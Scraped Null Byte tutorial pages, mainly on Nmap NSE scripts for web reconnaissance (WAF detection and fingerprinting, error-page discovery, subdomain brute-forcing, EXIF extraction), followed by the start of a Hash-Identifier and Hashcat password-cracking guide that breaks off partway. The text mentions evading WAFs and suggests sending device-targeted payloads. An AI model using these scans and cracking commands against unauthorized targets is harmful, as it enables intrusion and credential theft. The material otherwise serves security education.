libpcre-8.39 nmap-libpcap-1.7.3 nmap-libdnet-1.12 ipv6And as always, we can use the--helpargument to view its available options. These options can be coupled with Nmap scripts to further enhance the commands featured in this article.nmap --help Nmap 7.70 ( https://nmap.org ) Usage: nmap [Scan Type(s)] [Options] {target specification} TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL <inputfilename>: Input from list of hosts/networks -iR <num hosts>: Choose random targets --exclude <host1[,host2][,host3],...>: Exclude hosts/networks --excludefile <exclude_file>: Exclude list from file HOST DISCOVERY: -sL: List Scan - simply list targets to scan -sn: Ping Scan - disable port scan -Pn: Treat all hosts as online -- skip host discovery -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO[protocol list]: IP Protocol Ping -n/-R: Never do DNS resolution/Always resolve [default: sometimes] --dns-servers <serv1[,serv2],...>: Specify custom DNS servers --system-dns: Use OS's DNS resolver --traceroute: Trace hop path to each host SCAN TECHNIQUES: -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans --scanflags <flags>: Customize TCP scan flags -sI <zombie host[:probeport]>: Idle scan -sY/sZ: SCTP INIT/COOKIE-ECHO scans -sO: IP protocol scan -b <FTP relay host>: FTP bounce scan PORT SPECIFICATION AND SCAN ORDER: -p <port ranges>: Only scan specified ports Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 --exclude-ports <port ranges>: Exclude the specified ports from scanning -F: Fast mode - Scan fewer ports than the default scan -r: Scan ports consecutively - don't randomize --top-ports <number>: Scan <number> most common ports --port-ratio <ratio>: Scan ports more common than <ratio> SERVICE/VERSION DETECTION: -sV: Probe open ports to determine service/version info --version-intensity <level>: Set from 0 (light) to 9 (try all probes) --version-light: Limit to most likely probes (intensity 2) --version-all: Try every single probe (intensity 9) --version-trace: Show detailed version scan activity (for debugging) SCRIPT SCAN: -sC: equivalent to --script=default --script=<Lua scripts>: <Lua scripts> is a comma separated list of directories, script-files or script-categories --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts --script-args-file=filename: provide NSE script args in a file --script-trace: Show all data sent and received --script-updatedb: Update the script database. --script-help=<Lua scripts>: Show help about scripts. <Lua scripts> is a comma-separated list of script-files or script-categories. OS DETECTION: -O: Enable OS detection --osscan-limit: Limit OS detection to promising targets --osscan-guess: Guess OS more aggressively TIMING AND PERFORMANCE: Options which take <time> are in seconds, or append 'ms' (milliseconds), 's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m). -T<0-5>: Set timing template (higher is faster) --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes --min-parallelism/max-parallelism <numprobes>: Probe parallelization --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies probe round trip time. --max-retries <tries>: Caps number of port scan probe retransmissions. --host-timeout <time>: Give up on target after this long --scan-delay/--max-scan-delay <time>: Adjust delay between probes --min-rate <number>: Send packets no slower than <number> per second --max-rate <number>: Send packets no faster than <number> per second FIREWALL/IDS EVASION AND SPOOFING: -f; --mtu <val>: fragment packets (optionally w/given MTU) -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys -S <IP_Address>: Spoof source address -e <iface>: Use specified interface -g/--source-port <portnum>: Use given port number --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies --data <hex string>: Append a custom payload to sent packets --data-string <string>: Append a custom ASCII string to sent packets --data-length <num>: Append random data to sent packets --ip-options <options>: Send packets with specified ip options --ttl <val>: Set IP time-to-live field --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address --badsum: Send packets with a bogus TCP/UDP/SCTP checksum OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename. -oA <basename>: Output in the three major formats at once -v: Increase verbosity level (use -vv or more for greater effect) -d: Increase debugging level (use -dd or more for greater effect) --reason: Display the reason a port is in a particular state --open: Only show open (or possibly open) ports --packet-trace: Show all packets sent and received --iflist: Print host interfaces and routes (for debugging) --append-output: Append to rather than clobber specified output files --resume <filename>: Resume an aborted scan --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML --webxml: Reference stylesheet from Nmap.Org for more portable XML --no-stylesheet: Prevent associating of XSL stylesheet w/XML output MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute --datadir <dirname>: Specify custom Nmap data file location --send-eth/--send-ip: Send using raw ethernet frames or IP packets --privileged: Assume that the user is fully privileged --unprivileged: Assume the user lacks raw socket privileges -V: Print version number -h: Print this help summary page. EXAMPLES: nmap -v -A scanme.nmap.org nmap -v -sn 192.168.0.0/16 10.0.0.0/8 nmap -v -iR 10000 -Pn -p 80 SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLESRelated Book: "Network Scanning Cookbook: Practical Network Security using Nmap and Nessus 7" by Sairam Jetty1. Web Application Firewall DetectionAweb application firewall, shortened to WAF, detects and blocks malicious traffic transmitting to and from the web server its protecting. WAFs are most commonly used to help protect websites against SQL injection, file inclusion, and cross-site scripting (XSS) attacks.A server well-protected by a WAF could mean all potential web-based vulnerabilities are thwarted. Adversely, a server unprotected by any kind of WAF could be disastrous for system's administrators trying to defend against hackers. Our ability to detect web application firewalls on target web servers is crucial as pentesters.Thehttp-waf-detectscript is designed to help us learn the presence of a web application firewall. It will probe the target web server with several requests. First, it'll send a normal web request and record the response from the server. Then, it'll send another request with a payload (malformed URL) and compare the responses. This method of detecting WAFs is far from perfect and may vary based on the type of web server and WAF product.To enable thehttp-waf-detectscript, use the belownmapcommand.nmap -p80,443 --script http-waf-detect --script-args="http-waf-detect.aggro,http-waf-detect.detectBodyChanges" targetWebsite.comHere, I'm using thehttp-waf-detect.aggroargument, which instructs Nmap to try all of its built-in attack vectors to trigger the servers WAF. Also enabled is thehttp-waf-detect.detectBodyChangesargument, which looks for changes in the body of the HTTP requests and further increases the likeliness of detection.Starting Nmap 7.70 ( https://nmap.org ) Nmap scan report for targetWebsite.com Host is up (0.65s latency). PORT STATE SERVICE 80/tcp open http | http-waf-detect: IDS/IPS/WAF detected: |_targetWebsite.com:80/?p4yl04d=hostname%00 443/tcp open https | http-waf-detect: IDS/IPS/WAF detected: |_targetWebsite.com:443/?p4yl04d=hostname%00As we can see in the above output, Nmap has detected some kind of web application firewall present on the target web server. There are many commercial WAF products available to administrators. To learn which WAF is in production, we'll need to employ a different Nmap script.2. Web Application Firewall Fingerprint DetectionLearning which WAF is in use can be important as every WAF has its own predefined rate-limiting and detection methods. Identifying the type of WAF can aid pentester's in evading detection (or stayingunder the radar) if we can preemptively learn the WAFs limitations and detection triggers.Thehttp-waf-fingerprintNmap script is designed to help us learn the exact web application firewall in use on a target web server. It will also attempt to identify its type and exact version number.In its simplest form, we don't need to include any--script-argsto get this Nmap script working.nmap -p80,443 --script http-waf-fingerprint targetWebsite.com Starting Nmap 7.70 ( https://nmap.org ) Nmap scan report for targetWebsite.com Host is up (0.71s latency). PORT STATE SERVICE 80/tcp open http | http-waf-fingerprint: | Detected WAF |_ Cloudflare 443/tcp open httpsAs you can see above, this particular website is using the popular Cloudflare service as a front-end to protect their website from attackers.We can further improve Nmap's ability to detect WAF types and versions using thehttp-waf-fingerprint.intensiveargument. This will prolong the scan time and also increase the amount ofnoise(web traffic) generated by the script.nmap -p80,443 --script http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 targetWebsite Starting Nmap 7.70 ( https://nmap.org ) Nmap scan report for targetWebsite Host is up (0.84s latency). PORT STATE SERVICE 80/tcp open http | http-waf-fingerprint: | Detected WAF |_ BinarySec version 3.4.0 443/tcp open httpsWe've just learned the BinarySec WAF (version 3.4) is in use. An attack could study the WAF manual to better learn the triggers to avoid detection while penetration testing.3. Find HTTP ErrorsHypertext Transfer Protocol (HTTP)status codes, also known as "response codes," are issued by web servers to our web browsers when we make requests. These codes are a way for web servers to communicate errors to server administrators, web developers, and end-users alike.HTTP status codes are split into several categories or "classes." The first digit defines the categories and the following digits are sub-categories, specific to different types of error messages. For example, the 4xx categories is a class of errors specific to HTTP requests that cannot be fulfilled by the web server. Like trying to view a webpage that doesn't exist. That's defined as a status "404 Not Found," probably one of the most well-known status codes on the internet.Status codes are especially useful to pentester's because it helps us identify broken, malformed, and misconfigured parts of a server which might be leaking sensitive information, or they can allow for some exploitable way of controlling aspects of the server.As per Wikipedia, below is a list of the five HTTP status code categories. Web application penetration testers should familiarize themselves with all of the status codes and their definitions.1xx(Informational): The request was received, continuing process2xx(Successful): The request was successfully received, understood, and accepted3xx(Redirection): Further action needs to be taken in order to complete the request4xx(Client Error): The request contains bad syntax or cannot be fulfilled5xx(Server Error): The server failed to fulfill an apparently valid requestThehttp-errorsNmap script can be used to identify interesting status codes for further investigation.nmap -p80,443 --script http-errors targetWebsite.comSimply calling thehttp-errorsscript is enough to get started. Ports 80 and 443 are command web server ports but can be changed to meet your needs.Nmap scan report for targetWebsite.com Host is up (0.67s latency). PORT STATE SERVICE 80/tcp open http | http-errors: | Spidering limited to: maxpagecount=40; withinhost=targetWebsite.com | Found the following error pages: | | Error Code: 403 |_ http://targetWebsite.com:80/ 443/tcp open https | http-errors: | Spidering limited to: maxpagecount=40; withinhost=targetWebsite.com | Found the following error pages: | | Error Code: 400 |_ http://targetWebsite.com:443/In the above output, Nmap detected a status 403, which suggests the servers file permissions are misconfigured and visitors don't have access to the requested resource. Below is a more refined command that includes several script arguments.nmap -vv -p80,443 --script http-errors --script-args "httpspider.url=/docs/,httpspider.maxpagecount=3,httpspider.maxdepth=1" targetwebsite.comThis particular Nmap script utilizes thehttpspiderlibrary, so we can use arguments likehttpspider.url,httpspider.maxpagecount, andhttpspider.maxdepthto refine our scan to specific URLs and define how many pages we want Nmap to crawl before stopping.4. Find Shared & New ServersSubdomains are often used to host additional websites for a specific subset of users. For example, Null Byte (null-byte.wonderhowto.com) is one of many subdomains in the WonderHowTo network of websites. Popular subdomains includem.facebook.com,mobile.twitter.com, anddeveloper.github.com.These subdomains are useful to hackers because the subdomain and main domain may actually be hosted on completely different virtual private servers, in different parts of the world, and may not exercise the same degree of security.Thedns-brutescript built into Nmap is designed to enumerate subdomains and their corresponding server IP addresses.nmap -p80,443 --script dns-brute targetWebsite.com Starting Nmap 7.70 ( https://nmap.org ) Nmap scan report for targetWebsite.com Host is up (0.16s latency). PORT STATE SERVICE 80/tcp open http 443/tcp open https Host script results: | dns-brute: | DNS Brute-force hostnames: | http.targetWebsite.com - 198.105.244.228 | http.targetWebsite.com - 198.105.254.228 | mysql.targetWebsite.com - 198.105.244.228 | mysql.targetWebsite.com - 198.105.254.228 | news.targetWebsite.com - 104.17.202.106 | news.targetWebsite.com - 104.17.203.106 | news.targetWebsite.com - 104.17.204.106 | news.targetWebsite.com - 104.17.205.106 | news.targetWebsite.com - 104.17.206.106 | app.targetWebsite.com - 104.97.95.87 | apps.targetWebsite.com - 12.18.141.21 | web.targetWebsite.com - 198.105.244.228 | web.targetWebsite.com - 198.105.254.228 | auth.targetWebsite.com - 204.238.150.111 | web2test.targetWebsite.com - 198.105.244.228 | web2test.targetWebsite.com - 198.105.254.228 | beta.targetWebsite.com - 98.99.252.42 | id.targetWebsite.com - 98.99.254.9 | blog.targetWebsite.com - 216.87.148.114 | www.targetWebsite.com - 104.97.95.87 | www2.targetWebsite.com - 207.76.137.99 | cms.targetWebsite.com - 98.99.252.57 | ldap.targetWebsite.com - 98.99.254.57 | owa.targetWebsite.com - 98.99.252.118 | sip.targetWebsite.com - 199.233.179.46 | mail.targetWebsite.com - 98.99.254.8 | mobile.targetWebsite.com - 216.87.148.114 | help.targetWebsite.com - 98.99.252.46 | home.targetWebsite.com - 198.105.244.228 |_ home.targetWebsite.com - 198.105.254.228 Nmap done: 1 IP address (1 host up) scanned in 32.62 secondsThis particular website has many subdomains configured and not all share the same IP address. At this point, a penetration tester can further expand their reconnaissance to the newly discovered servers under this websites control.Below is adns-brutecommand that features several--script-args.nmap -p80,443 --script dns-brute --script-args dns-brute.threads=25,dns-brute.hostlist=/root/Desktop/custom-subdomain-wordlist.txt targetWebsite.com Starting Nmap 7.70 ( https://nmap.org ) Nmap scan report for targetWebsite.com Host is up (0.17s latency). PORT STATE SERVICE 80/tcp open http 443/tcp open https Host script results: | dns-brute: | DNS Brute-force hostnames: | www7.targetWebsite.com - 198.105.244.228 | www7.targetWebsite.com - 198.105.254.228 | www.targetWebsite.com - 104.97.95.87 | webdisk.test.targetWebsite.com - 198.105.244.228 | webdisk.test.targetWebsite.com - 198.105.254.228 | www4.targetWebsite.com - 198.105.244.228 | www4.targetWebsite.com - 198.105.254.228 | www1.targetWebsite.com - 198.105.244.228 | www1.targetWebsite.com - 198.105.254.228 | app.targetWebsite.com - 104.97.95.87 | mail.targetWebsite.com - 98.99.254.8 | www.m.targetWebsite.com - 198.105.244.228 | www.m.targetWebsite.com - 198.105.254.228 | meet.targetWebsite.com - 199.233.179.60 | members.targetWebsite.com - 52.85.88.11 | members.targetWebsite.com - 52.85.88.178 | members.targetWebsite.com - 52.85.88.184 | members.targetWebsite.com - 52.85.88.186 | webmail2.targetWebsite.com - 198.105.244.228 | webmail2.targetWebsite.com - 198.105.254.228 | ww2.targetWebsite.com - 198.105.244.228 | ww2.targetWebsite.com - 198.105.254.228 | sip.targetWebsite.com - 199.233.179.46 | www.beta.targetWebsite.com - 198.105.244.228 | www.beta.targetWebsite.com - 198.105.254.228 | news.targetWebsite.com - 104.17.202.106 | news.targetWebsite.com - 104.17.203.106 | news.targetWebsite.com - 104.17.204.106 | news.targetWebsite.com - 104.17.205.106 | news.targetWebsite.com - 104.17.206.106 | www.news.targetWebsite.com - 198.105.244.228 | www.news.targetWebsite.com - 198.105.254.228 | www.shop.targetWebsite.com - 198.105.244.228 | www.shop.targetWebsite.com - 198.105.254.228 | portal.targetWebsite.com - 192.237.142.31 | preview.targetWebsite.com - 104.97.95.87 | search.targetWebsite.com - 98.99.252.118 | www.support.targetWebsite.com - 198.105.244.228 | www.support.targetWebsite.com - 198.105.254.228 | api.targetWebsite.com - 98.99.252.56 | share.targetWebsite.com - 69.28.231.168 | mobile.targetWebsite.com - 216.87.148.114 | lyncdiscover.targetWebsite.com - 199.233.179.60 | mysql.targetWebsite.com - 198.105.244.228 | mysql.targetWebsite.com - 198.105.254.228 | owa.targetWebsite.com - 98.99.252.118 | webdisk.forum.targetWebsite.com - 198.105.244.228 | webdisk.forum.targetWebsite.com - 198.105.254.228 | www.blog.targetWebsite.com - 198.105.244.228 | www.blog.targetWebsite.com - 198.105.254.228 | beta.targetWebsite.com - 98.99.252.42 | partner.targetWebsite.com - 98.99.252.118 | a.targetWebsite.com - 63.149.195.18 | a.targetWebsite.com - 67.134.222.254 | a.targetWebsite.com - 8.33.184.254 | blogs.targetWebsite.com - 98.99.252.176 | webdisk.m.targetWebsite.com - 198.105.244.228 | webdisk.m.targetWebsite.com - 198.105.254.228 | webdisk.demo.targetWebsite.com - 198.105.244.228 | webdisk.demo.targetWebsite.com - 198.105.254.228 | ldap.targetWebsite.com - 98.99.254.57 | www.webmail.targetWebsite.com - 198.105.244.228 | www.webmail.targetWebsite.com - 198.105.254.228 | webmail.targetWebsite.com - 98.99.254.8 | web3.targetWebsite.com - 198.105.244.228 | web3.targetWebsite.com - 198.105.254.228 | community.targetWebsite.com - 216.87.148.114 | webmail.cp.targetWebsite.com - 198.105.244.228 | webmail.cp.targetWebsite.com - 198.105.254.228 | www.demo.targetWebsite.com - 198.105.244.228 | www.demo.targetWebsite.com - 198.105.254.228 | remote.targetWebsite.com - 216.87.148.114 | my.targetWebsite.com - 198.105.244.228 | my.targetWebsite.com - 198.105.254.228 | webdisk.dev.targetWebsite.com - 198.105.244.228 | webdisk.dev.targetWebsite.com - 198.105.254.228 | www.forum.targetWebsite.com - 198.105.244.228 | www.forum.targetWebsite.com - 198.105.254.228 | webdisk.targetWebsite.com - 198.105.244.228 | webdisk.targetWebsite.com - 198.105.254.228 | www.test.targetWebsite.com - 198.105.244.228 | www.test.targetWebsite.com - 198.105.254.228 | www.mobile.targetWebsite.com - 198.105.244.228 | www.mobile.targetWebsite.com - 198.105.254.228 | web1.targetWebsite.com - 198.105.244.228 | web1.targetWebsite.com - 198.105.254.228 | relay.targetWebsite.com - 98.99.254.28 | web2.targetWebsite.com - 198.105.244.228 | web2.targetWebsite.com - 198.105.254.228 | web.targetWebsite.com - 198.105.244.228 | web.targetWebsite.com - 198.105.254.228 | dialin.targetWebsite.com - 199.233.179.60 | jobs.targetWebsite.com - 216.87.148.114 | webdisk.blog.targetWebsite.com - 198.105.244.228 | webdisk.blog.targetWebsite.com - 198.105.254.228 | home.targetWebsite.com - 198.105.244.228 | home.targetWebsite.com - 198.105.254.228 | www3.targetWebsite.com - 198.105.244.228 | www3.targetWebsite.com - 198.105.254.228 | www.store.targetWebsite.com - 104.16.53.60 | www.store.targetWebsite.com - 104.16.54.60 | www6.targetWebsite.com - 198.105.244.228 | www6.targetWebsite.com - 198.105.254.228 | www.my.targetWebsite.com - 198.105.244.228 | www.my.targetWebsite.com - 198.105.254.228 | www5.targetWebsite.com - 198.105.244.228 | www5.targetWebsite.com - 198.105.254.228 | autodiscover.targetWebsite.com - 98.99.254.176 | www.admin.targetWebsite.com - 198.105.244.228 | www.admin.targetWebsite.com - 198.105.254.228 | store.targetWebsite.com - 104.16.206.251 | store.targetWebsite.com - 104.16.207.251 | web01.targetWebsite.com - 198.105.244.228 | web01.targetWebsite.com - 198.105.254.228 | cms.targetWebsite.com - 98.99.252.57 | www.old.targetWebsite.com - 198.105.244.228 | www.old.targetWebsite.com - 198.105.254.228 | blog.targetWebsite.com - 216.87.148.114 | www2.targetWebsite.com - 207.76.137.99 | webservices.targetWebsite.com - 198.105.244.228 | webservices.targetWebsite.com - 198.105.254.228 | www.video.targetWebsite.com - 198.105.244.228 | www.video.targetWebsite.com - 198.105.254.228 | web4.targetWebsite.com - 198.105.244.228 | web4.targetWebsite.com - 198.105.254.228 | e.targetWebsite.com - 63.149.195.18 | e.targetWebsite.com - 67.134.222.254 | e.targetWebsite.com - 8.33.184.254 | auth.targetWebsite.com - 204.238.150.111 | wwww.targetWebsite.com - 198.105.244.228 | wwww.targetWebsite.com - 198.105.254.228 | help.targetWebsite.com - 98.99.252.46 | jira.targetWebsite.com - 98.99.254.68 | outlook.targetWebsite.com - 98.99.254.66 | www.mail.targetWebsite.com - 198.105.244.228 | www.mail.targetWebsite.com - 198.105.254.228 | MAIL.targetWebsite.com - 98.99.254.8 | www.new.targetWebsite.com - 198.105.244.228 | www.new.targetWebsite.com - 198.105.254.228 | mdm.targetWebsite.com - 192.30.68.141 | origin-www.targetWebsite.com - 104.97.95.87 | sslvpn.targetWebsite.com - 204.238.150.49 | assets.targetWebsite.com - 107.14.46.27 | assets.targetWebsite.com - 107.14.46.35 | www.en.targetWebsite.com - 198.105.244.228 | www.en.targetWebsite.com - 198.105.254.228 | docs.targetWebsite.com - 98.99.254.67 | www.dev.targetWebsite.com - 198.105.244.228 | www.dev.targetWebsite.com - 198.105.254.228 | www.forums.targetWebsite.com - 198.105.244.228 | www.forums.targetWebsite.com - 198.105.254.228 | www.ads.targetWebsite.com - 198.105.244.228 | www.ads.targetWebsite.com - 198.105.254.228 | apps.targetWebsite.com - 12.18.141.21 | www.wiki.targetWebsite.com - 198.105.244.228 | www.wiki.targetWebsite.com - 198.105.254.228 | webconf.targetWebsite.com - 198.105.244.228 | webconf.targetWebsite.com - 198.105.254.228 | ww.targetWebsite.com - 198.105.244.228 | ww.targetWebsite.com - 198.105.254.228 | webcam.targetWebsite.com - 198.105.244.228 | webcam.targetWebsite.com - 198.105.254.228 | www.chat.targetWebsite.com - 198.105.244.228 |_ www.chat.targetWebsite.com - 198.105.254.228 Nmap done: 1 IP address (1 host up) scanned in 62.15 secondsBy default, dns-brute will scan using five concurrent threads. We can increase or decrease this value with thedns-brute.threads. Depending on the type of web server, many threads will crash a server or act as a denial of service, making the website slow or unresponsive for other users. Adjust this value with caution.Dns-brute will attempt about 125 popular subdomains. We can usecustom subdomain listswith thedns-brute.hostlistargument. As we can see in the above output, using acomprehensive wordlist, we were able to detect more subdomains and IP addresses controlled by this website.Related Book: "Nmap 6: Network Exploration and Security Auditing Cookbook" by Paulino Calderon (Available fromAmazon|Walmart)5. Extract EXIF Data from PhotosExchangeable image file, known more as EXIF, is information stored in JPEG, PNG, PDF, and many more file types. This embedded data can sometimes reveal interesting information, including timestamps, device information, and GPS coordinates. Most websites still do not properly sanitize EXIF data from images, leaving themselves or their users at risk.As penetration testers, knowing what kind of device a target is using will aid us in determining what kind(s) of payloads to generate. A classic example ofEXIF data being used to catch a black hatis the arrest of Higinio Ochoa. FBI agents extrapolated his girlfriend's geographic location using the GPS data found in a photo Higinio uploaded to the internet.Nmap'shttp-exif-spiderscript can be used to extract interesting EXIF data from photos found on websites. Such a script isn't useful against mainstream sites like Instagram, Twitter, and Facebook. Major websites scrub EXIF data when users upload new photos. However, personal blogs, small businesses, and corporate organizations may not practice strong security precautions or monitor what employees are posting online. It's not uncommon to find GPS data in photos.nmap -p80,443 --script http-exif-spider targetWebsite.com Starting Nmap 7.70 ( https://nmap.org ) Nmap scan report for targetWebsite.com Host is up (0.12s latency). PORT STATE SERVICE 80/tcp open http | http-exif-spider: | http://targetWebsite.com:80/image_10012.jpg | Make: NIKON CORPORATION | Model: NIKON D4 | Date: 2017:04:26 21:22:49 | http://targetWebsite.com:80/ips.jpg | Make: Samsung | Model: Galaxy S6 |_ Date: 2017:02:24 23:37:14 443/tcp open https | http-exif-spider: | https://targetWebsite.com:443/clifton.jpg | Make: Canon |_ Model: Canon EOS 5D Mark III Nmap done: 1 IP address (1 host up) scanned in 30.43 secondsWe can see the above target is using an Android phone and a variety of digital cameras. We can now (with some degree of certainty) generate an Android-specific payload and send it to the target to further compromise their devices, accounts, and networks.When attempting to extract EXIF data from large photos, Nmap may produce an error message that states "Current http cache size exceeds max size." This is Nmap telling us that the photo is too large and is exceeding the default maximum file size value. Use thehttp.max-cache-sizeargument and increase the value as needed. Below I've set it to an arbitrarily high number.nmap -p80,443 --script http-exif-spider --script-args="http.max-cache-size=99999999" targetWebsite.comMore Nmap Scripts to Come ...Whether we're enumerating subdomains, detecting WAF version info, or reporting broken webpages for a small bug bounty, Nmap scripts have us covered. And we've barely scratched the surface with what Nmap scripts are capable of. In my next article, I'll be talking about scripts that don't trigger web application firewalls or alert system administrators to our attempts at reconnaissance.Don't Miss:More Nmap Guides on Null ByteFollow Gadget Hacks onFacebook,Twitter,YouTube, andFlipboardSign up forGadget Hacks' daily newsletteror weeklyAndroidandiOSupdatesFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null ByteRelatedHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Easily Detect CVEs with Nmap ScriptsHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)Hack Like a Pro:Advanced Nmap for ReconnaissanceHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHow To:Identify Web Application Firewalls with Wafw00f & NmapDissecting Nmap:Part 1How to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Automate Brute-Force Attacks for Nmap ScansZanti:NmapHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHow To:Do a Simple NMAP Scan on ArmatigeHow To:Use Magic Tree to Organize Your ProjectsHow To:Do an Idle Scan with NmapHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Perform Network-Based Attacks with an SBC ImplantHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:Use the Nmap security tool
Kali Forensics « Null Byte :: WonderHowTo
No content found.
Use Hash-Identifier to Determine Hash Types for Password Cracking « Null Byte :: WonderHowTo
Hashes are commonly used to store sensitive information like credentials to avoid storing them in plaintext. With tools likeHashcat, it's possible to crack these hashes, but only if we know the algorithm used to generate the hash. Using a tool called hash-identifier, we can easily fingerprint any hashes to discover the right Hashcat mode to use to retrieve a password.Aside from cracking hashes, hash-identifier is also helpful for identifying which hashing algorithm is being used to provide a checksum value for a download. And it can be used to determine what program a hashed file or value may belong to, such as an SQL database or another vendor-specific format.What Is a Hash & How Do We Crack It?When passwords are lifted from a database or computer, they're usually stored as hashes so that hackers can't read any passwords in plaintext. A hashing function turns the readable passwords into jumbled up messes of letters and numbers that should not be able to be reverse-engineered.Don't Miss:Cracking WPA2 Passwords Using a PMKID Hashcat AttackBut two or more of the same passwords using the same hashing function will have the same hash, so one could determine the hashes for an entire password list using that hashing function, then use that data to determine the matching password. And that's what a lot of password-cracking tools do.While hashes are better than storing a password in plaintext, they can still be cracked if a good rule or password list is used with Hashcat or another cracking program. But you can't just point Hashcat at any hash and expect it to work. Imagine Hashcat as a drill with many different sized bits. For each type of hash we want to crack, we need to attach a different "bit" to Hashcat by setting it to the correct mode to attack the target hash.If you work with hashes a lot, it might be easy to spot the difference between types of hashes that are commonly used.At a glance, can you tell which of these two common hashes is which?8743b52063cd84097a65d1633f5c74f5 b89eaac7e61417341b710b727768294d0e6a277bAlthough you may have seen both before, it may not be immediately obvious which of these hashes is MD5 and which is SHA1. It can get even more confusing with similar hash types that have different mode numbers in Hashcat. In the case of the hashes above, it makes a big difference which is which.When using Hashcat to crack this hash, we have to set the-moption to the correct mode. To crack an MD5 hash, we'd use the mode number0to get the hash.~$ sudo hashcat -m 0 -a 0 8743b52063cd84097a65d1633f5c74f5 example.dict --force hashcat (v4.0.1) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM)2 Duo CPU E7500 @ 2.93GHz, 1024/3639 MB allocatable, 2MCU 8743b52063cd84097a65d1633f5c74f5:hashcatHere, we found that the hash was made with the word "hashcat" by correctly identifying it as MD5 and using a good wordlist.Recommended on Amazon:"Hash Crack: Password Cracking Manual" by Joshua PicoletWhat Hashes Are Supported?At present, a large amount of the hashes that Hashcat is capable of cracking can be identified. On theGitHub repositoryfor hash-identifier, the list of the hashes supported is quite extensive.Encryption formats supported: ADLER-32 CRC-16 CRC-16-CCITT CRC-32 CRC-32B DES (Unix) Domain Cached Credentials FCS-16 GHash-32-3 GHash-32-5 GOST R 34.11-94 Haval-128 Haval-160 Haval-192 110080 Haval-224 114080 Haval-256 Lineage II C4 MD2 MD4 MD5 MD5 ($pass.$salt) - Joomla MD5 (APR) MD5 (Half) MD5 (HMAC(Wordpress)) MD5 (Middle) MD5 (phpBB3) MD5 (Unix) MD5 (Wordpress) MySQL MySQL 160bit - SHA-1(SHA-1($pass)) MySQL5 - SHA-1(SHA-1($pass)) NTLM RAdmin v2.x RipeMD-128 RipeMD-160 RipeMD-256 RipeMD-320 SAM - (LM_hash:NT_hash) SHA-1 SHA-1 (Django) SHA-1 (MaNGOS) SHA-224 SHA-256 SHA-256 (Django) SHA-384 SHA-384 (Django) SHA-512 SNEFRU-128 SNEFRU-256 Tiger-128 Tiger-160 Tiger-192 XOR-32 Whirlpool And more…What You'll NeedTo follow this guide, you'll needPython3installed on your computer (it's cross-platform), so get that before continuing if you don't already have it. You'll also need Hashcat, which you can download by runningapt install hashcatafter updating your computer withapt updateandapt upgrade.If you want to generate some of your own hashes to try cracking, you can do so with the formatecho -n PLAINTEXT | (HASHTYPE)sum. To create a SHA1 hash of the word "nullbyte, I would use the following command.~$ echo -n nullbyte | sha1sum 32c0ced56f1fe08583bdb079d85a35a81995018c -Step 1: Download & Install Hash-IdentifierInstalling the Python script is really easy. To start, open a terminal window and run the following command.~$ git clone https://github.com/blackploit/hash-identifier.git Cloning into 'hash-identifier'... remote: Enumerating objects: 21, done. remote: Total 21 (delta 0), reused 0 (delta 0), pack-reused 21 Unpacking objects: 100% (21/21), done.Then, navigate to its directory withcd hash-identifierand list its contents withls.~$ cd hash-identifier ~/hash-identifier$ ls hash-id.py README.md screenshotsYou should see a file calledhash-id.py, which you can run with the command below to start.~/hash-identifier$ python3 hash-id.py ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ 